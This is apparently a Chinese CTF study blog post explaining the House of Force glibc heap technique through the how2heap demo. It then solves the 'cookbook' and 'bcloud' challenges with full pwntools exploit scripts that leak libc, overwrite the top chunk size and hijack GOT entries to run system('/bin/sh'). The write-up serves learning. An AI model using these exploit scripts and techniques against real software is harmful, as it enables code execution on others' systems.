0%

how2heap - house_of_force&cookbook、bcloud

how2heap - house_of_force&cookbook、bcloud

ubuntu16.04 libc2.23

house_of_force.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
/*
This PoC works also with ASLR enabled.
It will overwrite a GOT entry so in order to apply exactly this technique RELRO must be disabled.
If RELRO is enabled you can always try to return a chunk on the stack as proposed in Malloc Des Maleficarum
( http://phrack.org/issues/66/10.html )
Tested in Ubuntu 14.04, 64bit.
*/


#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
fprintf(stderr, "\nWelcome to the House of Force\n\n");
fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
fprintf(stderr, "The top chunk is a special chunk. Is the last in memory "
"and is the chunk that will be resized when malloc asks for more space from the os.\n");

fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
fprintf(stderr, "Its current value is: %s\n", bss_var);



fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
intptr_t *p1 = malloc(256);//0x100
fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - 2);

fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
int real_size = malloc_usable_size(p1);
fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

fprintf(stderr, "\nNow let's emulate a vulnerability that can overwrite the header of the Top Chunk\n");

//----- VULNERABILITY ----
intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
//------------------------

fprintf(stderr, "\nThe size of the wilderness is now gigantic. We can allocate anything without malloc() calling mmap.\n"
"Next, we will allocate a chunk that will get us right up against the desired region (with an integer\n"
"overflow) and will then be able to allocate a chunk right over the desired region.\n");

/*
* The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
* new_top = old_top + nb
* nb = new_top - old_top
* req + 2sizeof(long) = new_top - old_top
* req = new_top - old_top - 2sizeof(long)
* req = dest - 2sizeof(long) - old_top - 2sizeof(long)
* req = dest - old_top - 4*sizeof(long)
*/
unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
"we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
void *new_ptr = malloc(evil_size);
fprintf(stderr, "As expected, the new pointer is at the same place as the old top chunk: %p\n", new_ptr - sizeof(long)*2);

void* ctr_chunk = malloc(100);
fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
fprintf(stderr, "Now, we can finally overwrite that value:\n");

fprintf(stderr, "... old string: %s\n", bss_var);
fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
strcpy(ctr_chunk, "YEAH!!!");
fprintf(stderr, "... new string: %s\n", bss_var);


// some further discussion:
//fprintf(stderr, "This controlled malloc will be called with a size parameter of evil_size = malloc_got_address - 8 - p2_guessed\n\n");
//fprintf(stderr, "This because the main_arena->top pointer is setted to current av->top + malloc_size "
// "and we \nwant to set this result to the address of malloc_got_address-8\n\n");
//fprintf(stderr, "In order to do this we have malloc_got_address-8 = p2_guessed + evil_size\n\n");
//fprintf(stderr, "The av->top after this big malloc will be setted in this way to malloc_got_address-8\n\n");
//fprintf(stderr, "After that a new call to malloc will return av->top+8 ( +8 bytes for the header ),"
// "\nand basically return a chunk at (malloc_got_address-8)+8 = malloc_got_address\n\n");

//fprintf(stderr, "The large chunk with evil_size has been allocated here 0x%08x\n",p2);
//fprintf(stderr, "The main_arena value av->top has been setted to malloc_got_address-8=0x%08x\n",malloc_got_address);

//fprintf(stderr, "This last malloc will be served from the remainder code and will return the av->top+8 injected before\n");
}

这里面最重要的应该就是这个计算过程了,我把步骤解释写一下:

1
2
3
4
5
6
7
8
9
#define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
new_top = old_top + nb
//remainder = ↑chunk_at_offset (victim, nb);源码中这里remainder对应的就是new_top,victim此时就是old_top

nb = new_top - old_top
req + 2sizeof(long) = new_top - old_top//这里分解nb
req = new_top - old_top - 2sizeof(long)
req = dest - 2sizeof(long) - old_top - 2sizeof(long)//dest = new_top + 2sizeof(long)
req = dest - old_top - 4*sizeof(long)

其中最主要的是通过chunk_at_offset(p, s)这个Macro来获得victim的时候,nb为负数时会把topchunk的位置往回放

但是_int_malloc最开始对我们申请的bytes做的检查是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define REQUEST_OUT_OF_RANGE(req)                                 \
((unsigned long) (req) >= \
(unsigned long) (INTERNAL_SIZE_T) (-2 * MINSIZE))
//MINSIZE:x64 0x20,x86 0x10
//-2*MINSIZE=0xFFFF FFFF FFFF FFC0(x64),0xFFFF FFE0(x86)
//req会被转换成unsigned long,只要我们通过上面的这个检查就可以过第一步了
/* pad request bytes into a usable size -- internal version */

#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)

/* Same, except also perform argument check */

#define checked_request2size(req, sz) \
if (REQUEST_OUT_OF_RANGE (req)) { \
__set_errno (ENOMEM); \
return 0; \
} \
(sz) = request2size (req);

然后用一个负数的nb去topchunk申请chunk,当然其中经过smallbin range检查的时候还调用了malloc_consolidate

用topchunk的size和nb作比对的时候都是转换成了unsigned long:此时-1计算出来的size是最大的,可以通过该检查:(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

Debug

先不急着debug示例程序,我自己准备用自己的程序试一试,具体如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <stdlib.h>
int main(int argc , char* argv[])
{
char *fast=malloc(0x20);
char *p=malloc(0xff0);
free(fast);//use for test
*(int64_t *)(p+0xff8)=(long long)-1;//set top_chunk size

char *p2=malloc(0xFFFFFFFFFFFFF000-2*sizeof(size_t));//set new_top
char *p3=malloc(0x100);//the same address as p
printf("%p,%p",p,p3);
return 0;
}

这里我写了一个简单的程序,其中0x30的chunk是用来debug的时候看是否调用了malloc_consolidate

设置top_chunk size之后:

可以看到pwndbg的脚本报错了,不过我们直接看地址偏移还是一样的

然后char *p2=malloc(0xFFFFFFFFFFFFF000-2*sizeof(size_t));这一行的意思是传入一个-0x1000-2*size_t的值,计算nb时会补成-0x1000,通过两道检查后在源码中这里:remainder = chunk_at_offset (victim, nb),remainder是用来设置新的top_chunk的,所以我们直接就把top_chunk往回放到我们之前申请的0x1000的chunk处去了。

因为chunksize计算时会除去低三位,所以remainder_size = size - nb;这一步中的size实际上是0xfffffffffffffff8
,减去nb(-0x1000)之后就变成了0xff8,如果我们想要之后的top_chunk能再大一些显然做不到了,因为要通过(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)这个检查

再就是设置top_chunk size的时候,虽然说计算size时低三位是没用的,但是最后一位必须为1,要不然在_libc_malloc里面的arena_get好像会出问题(待深入)

以上内容执行时如下:

可以看到新的top_chunk已经被设置成了我们之前0x1000 chunk的地址

最后的运行效果就是这样:

1582043111462

两个指针指向的chunk是一样的,也验证了req = dest - old_top - 4*sizeof(long)


然后再来debug示例代码(这里很简略)

所以上面示例代码中把topchunk的size改成了-1,然后计算出的evil_size=0xffffffffffafcf30当然也通过了检查

可以看到这里算出来的remainder就是0x602050了,刚好是我们字符串地址-0x10的位置,所以再malloc的时候就可以malloc出这块内存,至于后面注释的那一部分,大致意思就差不多是我们可以通过这个方法来修改GOT表,暂时就不debug了

当然这上面是因为没有开ASLR,bss和top_chunk比较近,如果开启PIE加上ASLR的效果也是一样的:

一样申请到了这块内存

接下来肝题吧

cookbook

程序分析

emmm…怎么说呢,感觉以后分析这种程序得换换思路了,以前都是拿着题就往IDA拖了分析,现在看来程序复杂度够高的时候直接这样分析好像不太行,工作量太大,而且根本没有思路,对于量大一点的题得先跑熟悉有个印象再去写,熟悉逻辑之后再去逆会快很多

下面就写一些大致的,后面会放一个总结的图,说不定以后程序分析就都是总结的图了,因为程序每个细节都扣到会浪费时间,能找到漏洞然后利用才是王道啊

main

1582247560625

main大致对应的就是这些东西,Rec代表recipe,Ing代表Ingredient,main_menu是我们操作主菜单,之前做的都是初始化操作

init_RecAndIng

这个函数分为两个子函数,第一个差不多是下面这样子的,主要做初始化Ingredient的操作

add_ingredientcalloc(0x90)一个ingredient的结构体,等下放一张图给自己看吧

Ingredient_ListHeader是存在.bss段上的一个链表头指针。LinkList_add就是往这个头指针添加结点,calloc(0x8),然后存一个next指针一个数据

第二个子函数就是初始化三个recipe(0x40C),当时直接拿着程序看的时候在这浪费了很多时间,因为根本不知道要干什么,以后碰到这种就先跑一下程序熟悉熟悉,看这些字符串出现在什么地方再逆,ret_Ingredient_ptr是根据name返回对应Ingredient结构体的指针Dish type应该不用管

不过这两个初始化函数用来逆结构体还是挺好的,这里把结构体放出来吧

struct

再来看main_menu

就是我们正常的菜单选择了,这里就不做细致分析了,没必要,我下面的这张图记录了每个函数大致的操作

All in one

1582249392325

所有对应的选项我都记录了大致对应的操作,当然也不乏在调试中发现的一些小细节,比如creat recipe里面是删不掉Ingredient的,因为fegts结尾的\n程序没有处理,导致strcmp比对失败…

最后程序通过链表和不同结构体的管理如下图所示,我这里只拿了一个Ingredient和Recipe做示例

1582213398090

漏洞分析&Exploite

leak

这个题的leak其实只要有经验的话应该马上就能想到,没有经验的话像我可能还稍微想了一段时间吧,当然也要注意这里面的chunk很多都是calloc出来的。当时我在想leak构造的时候第一反应是 creat recipe里面free时没有对current_pt赋值0,所以存在一个bad save,然后就可以打印出对应的东西,这里只有一个recipe chunk被free的时候就可以打印出来这个unsortedbin chunk上的*(*bk)处的值,这里是top_chunk的地址。

后来我想通过remove ingredient来给ingredient chunk的fd和bk处放上libc地址结果失败了,因为我发现这里根本删不了..坑,还以为是出了什么问题,不过依旧是这个思路,由于我们current_ptr是保存在.bss上的,所以我们可以,出去删了这个ingredient之后再回到这里leak,这样在打印price的时候就会leaklibc了,注意数量一定要设置1

Arbitrary write

本题还有一个0x8C的大overflow我们没有用到,最开始我想的是能不能通过fastbin来attack一个地方,后来发现没什么思路就放弃了,因为house_of_force的方法在这里更明显一些,我们可以直接通过这个大overflow来修改top_chunk然后改写GOT表,最后调用system("/bin/sh")。当然改GOT表的过程特别玄学,由于只有Ingredient和cookbook name是malloc出来的,而bookname在我这个方法里面要在设置top_size之后用来设置new top的位置,所以我这里不能用bookname来更改GOT表,只能用Ingredient,但是调试过程中确实踩了很多坑,最后对应ingredient的位置很苛刻

从前往后试这两个地方用来在设置topchunk的时候写size,前面的内存是不可写的(这里写一笔给记性差的自己:因为32位chunk要8bit对齐,所以只有结尾是4和C的地方才写size),而后malloc ingredient时因为输入Ingredient->name的时候程序会calloc一块chunk出来,也就意味着0x98Bytes后的数据全部会被清零,所以很多数据都会受到连锁影响(跪。而且我试0x0804D004这个地方的时候发现,后面的malloc居然刚好把currentIng_ptr给设置成size字段了,以后在这些数据段操作之前一定先看看后面的一些特殊偏移有什么数据(….&currentIng_ptr-0x0804D000=0x9C(malloc_usable_size))出题人应该是估计苛刻的?
然后用0x0804D00C这个地方用来写size,最后使用哪个表作为system我用的是atoi(好像用free更方便一点)。然后输入name的时候由于fgets会损坏一个Byte的数据,所以我干脆把一些表项全填上去了,当我把要利用的函数的偏移一个个的填上去之后发现,利用的时候由于memcpy是cpy0x80个字节的数据,刚好把bss上的stdin和stdout给写没了,所以又去把stdin和stdout的地址写了上去才成功

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
import numpy

binary = 'cookbook' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
#log.info("\033[1;36m" +''+hex() + "\033[0m")

# todo here
def main_choice(cha):
p.recvuntil('[q]uit\n')
p.sendline(cha)

def Ing_choice(cha):
p.recvuntil('quit)?\n')
p.sendline(cha)

def recipe_choice(cha):
p.recvuntil('[q]uit\n')
p.sendline(cha)

def creat_for_leak():
main_choice('a')
Ing_choice('n')
Ing_choice('g')
sleep(0.1)
p.sendline('********')
Ing_choice('e')
Ing_choice('q')

def creat_for_fill():
main_choice('a')
Ing_choice('n')
Ing_choice('g')
sleep(0.1)
p.sendline('********')
Ing_choice('e')
Ing_choice('q')

def leak_heap():
main_choice('c')
recipe_choice('n')
recipe_choice('a')
p.recvuntil('to add? ')
p.sendline('********')
p.recvuntil('many? (hex): ')
p.sendline('0x1')
recipe_choice('d')
recipe_choice('p')
p.recvuntil('\n')
p.recvuntil('\n')
p.recvuntil('\n')
heap_base=int(p.recvuntil(' -').strip(' -'))-0x1780
recipe_choice('q')
return heap_base

def leak_libc():
main_choice('c')
recipe_choice('n')
recipe_choice('a')
p.recvuntil('to add? ')
p.sendline('********')
p.recvuntil('many? (hex): ')
p.sendline('0x1')
recipe_choice('q')
main_choice('e')
p.recvuntil('exterminate? ')
p.sendline('********')
main_choice('c')
recipe_choice('p')
p.recvuntil('$')
libc_base=int(p.recvuntil('\n').strip('\n'))-0x1b27b0
recipe_choice('q')
return libc_base

def set_topsize():
main_choice('c')
recipe_choice('g')
sleep(0.1)
p.sendline('a'*0x3c0+p32(0xffffffff))
recipe_choice('q')

p.recvuntil('your name?\n')
p.sendline('ljc')

creat_for_leak()
heap_base=leak_heap()
log.info("\033[1;36m" +'heap_base:'+hex(heap_base) + "\033[0m")
libc_base=leak_libc()
log.info("\033[1;36m" +'libc_base:'+hex(libc_base) + "\033[0m")

creat_for_fill()
set_topsize()

#new_top->0x0804D000
#req = dest - old_top - 4*sizeof(long)
req =numpy.array([0x0804D010,],dtype=numpy.uint32)
main_choice('g')
p.recvuntil('hacker!) : ')
req[0]=req[0]-(heap_base+0x17a0)-4*4
log.info(hex(req[0]))
p.sendline(hex(req[0]))

#gdb.attach(p,'b *0x08048D40')
main_choice('a')
Ing_choice('n')
free =0x1ec180
memcpy=0x77610
fgets =0x5e150
alarm =0xb0270
stk =0
malloc=0x1ec110
puts =0x5fca0
g=0
strtoul=0
start=0
buf=0
system=0x3ada0
calloc=0x1ec130
Ing_choice('g')
name=p32(free+libc_base)+p32(memcpy+libc_base)+p32(fgets+libc_base)+p32(alarm+libc_base)+p32(stk)+p32(malloc+libc_base)+p32(puts+libc_base)+p32(g)+p32(strtoul)
name+=p32(start)+p32(buf)+p32(system+libc_base)+p32(calloc+libc_base)
name=name.ljust(0x68,'\x00')
name+=p32(0x1b25a0+libc_base)
name+=p32(0x1b2d60+libc_base)
p.sendline(name)
Ing_choice('s')
p.sendline('/bin/sh')

p.interactive()

bcloud

程序分析

注:这个程序分析是在我写完题之后再来写的,可能会有很多东西会有剧透的既视感…主要是用来帮助自己以后看的

main就是很正常的菜单,就不多废话了,直接从其中做初始化的函数开始看

初始化函数

0x0804899C:这个函数包括了两个函数,其中分别对应两个输入点

姑且称第一个是input_name,第二个是input_org_host

input_name

这里有一个比较坑的点我刚开始一直都没发现(当然还是自己太菜了),因为这个readn_add0(ptr,n,chr)是一个最多读取n个字符然后会在结尾处+0的函数,如果read过程中碰到chr就直接+0退出结束,也就是说如果我们输入了0x40个字符,他就会在0x41处补0。在这里,我们输入0x40之后他会把0补在V2这个变量处,随之被malloc的指针覆盖了,由于32位程序中指针都占4字节,所以覆盖之后这里直接连着堆指针一起strcpy进了chunk中,没有\x00截断。然后调用info输出了chunk中的内容

input_org_host

上面的trick在这里同样出现了一遍,当然这里主要是org v2 host这三个连在了一起,最后在strcpy的时候是一个比较大的溢出,由于v2对应的chunk紧跟的就是top_chunk,所以很自然能联想到house_of_force

new

根据下标和记录存放malloc的ptr,lenth由我们输入然后会被存到len_Array中,接着根据lenth读入conent,由于malloc时lenth+4,所以构成不了overflow

edit

没什么好说的了,就是根据存的len来读数据

delete

1582413728779

先把ptr存在栈上,清空记录然后free(ptr)

其他的函数都好像没什么用就不用管了

Exploit

主要就是第二个初始化input_org_host中产生的house_of_force,先将top_chunk.size根据溢出赋值成0xffffffff,然后malloc一个负数设置top_chunk,之后再利用edit就好了,主要就是得发现house_of_force这个洞23333

接着就是在我们的ptr_Array上玩了,我设置的dest稍微在array上面一点,主要是当时免得出错,反正edit的时候可以打pad,当我们用设置好top之后,id0被占用,再新malloc出来用来写Array的chunk会放在index1,当然这个chunk我只写了一次,只用把对应的东西布置好就行了,具体布置什么见以下

由于我们最终的目的是要getshell,仅仅只有一个heap_base肯定是不行的,我们还需要leak一个libc的地址,这里我稍微想了一会,至于libc地址现在可以存在于三个地方:stack、got或者非fastbin链中的chunk。我最开始想的是:通过再malloc一个大一点的chunk之后free,然后在array上就有libc地址了,通过写一个array上的记录指向这个地址就可以打印,但是怎么打印呢,一般打印的方法有通过程序中有输出点的地方打印,或者通过栈溢出控制函数参数、返回地址到puts_plt这样打印,可是这个程序既没有打印chunk的函数…..也无法栈溢出或者泄露栈地址什么的,但是我想到能够设置一个GOT表然后调用edit修改,我们手上暂时又只有程序的地址可以用,所以我就找了一下有什么函数可以用来接受一个地址然后输出的(因为我们程序中使用Array中的数据而且调用到库函数的只有free),刚好有一个函数0x08048779,是接受一个地址然后打%s,这大概就是出题人故意设置的吧2333。所以把free的GOT改成这个函数就可以了,free的GOT表项后面是__stack_chk_fail,不会影响什么

不过我最开始的那个思路free一个大一点的chunk失败了,所以就转而想到了更简单的方法,利用GOT表

然后我们的Array上现在只需要有一样东西就行:GOT表地址。一个用来改free的GOT,一个用来leak

leak之后再把free的GOT改成system,然后malloc一个/bin/sh\x00的chunk,然后free就好了

好像也可以改atoi的GOT更方便一些(或者当修改GOT表影响了相邻表项会出错时可以试试)不过这里就不做多余的事了,getshell就行

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = 'bcloud' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")
# todo here

def new(len,content):
p.recvuntil('option--->>\n')
p.sendline('1')
p.recvuntil('the note content:\n')
p.sendline(str(len))
p.recvuntil('the content:\n')
p.send(content)
def edit(id,content):
p.recvuntil('option--->>\n')
p.sendline('3')
p.recvuntil('the id:\n')
p.sendline(str(id))
p.recvuntil('new content:\n')
loginfo('',0)
p.send(content)
def delete(id):
p.recvuntil('option--->>\n')
p.sendline('4')
p.recvuntil('the id:')
p.sendline(str(id))
p.recvuntil('your name:\n')
p.send('a'*0x40)
p.recvuntil('a'*0x40)
heap_base=my_u32(p.recv(4))-0x8
loginfo('heap_base',heap_base)


p.recvuntil('Org:\n')
p.send('a'*0x40)
p.recvuntil('Host:\n')
p.sendline('\xff'*4)

dest=0x0804B110
old_top=heap_base+0xd8
corrupt_size=dest-old_top-4*4-4
#req = dest - old_top - 4*sizeof(long
leakfunction=0x08048779
free_got=0x0804B014


gdb.attach(p,'b *0x08048b4f')
new(corrupt_size,'\n')#set top
new(0x18,'a'*0x10+p32(0x0804B03C)+p32(free_got)+'\n')#id 0 1 atoi_got

edit(1,p32(leakfunction)+'\n')
delete(0)

p.recvuntil('Hey ')
libc_base=my_u32(p.recv(4))-0x2d250
loginfo('libc base',libc_base)
system=0x3ada0+libc_base
edit(1,p32(system)+'\n')
new(0x8,'/bin/sh\x00\n')
delete(0)
p.interactive()